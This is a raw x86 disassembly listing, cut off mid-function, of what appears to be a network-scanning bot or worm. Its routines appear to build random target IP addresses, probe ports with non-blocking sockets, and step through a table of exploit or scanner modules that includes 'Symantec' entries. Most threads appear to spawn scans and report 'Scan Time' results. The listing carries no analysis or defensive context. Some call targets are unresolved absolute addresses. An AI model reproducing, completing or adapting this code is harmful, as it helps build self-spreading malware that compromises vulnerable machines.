sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317CC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_431814
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431860
		push	eax
		call	sub_41B886
		cmp	dword_431410, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431850
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431410, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431410
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318B0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_43187C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2C45ABE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431900
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318E0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43141C[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		call	near ptr 2660000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A20
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		call	near ptr 2660000h
		nop
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B8
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431424[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431988
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		call	near ptr 267084Ch
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431950
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431420[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43191C
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A7C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A54
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431414[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		call	near ptr 2660EB7h
		nop
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26D080Ah
		push	80000400h
		push	esi
		nop
		call	near ptr 26D065Fh
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B60
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

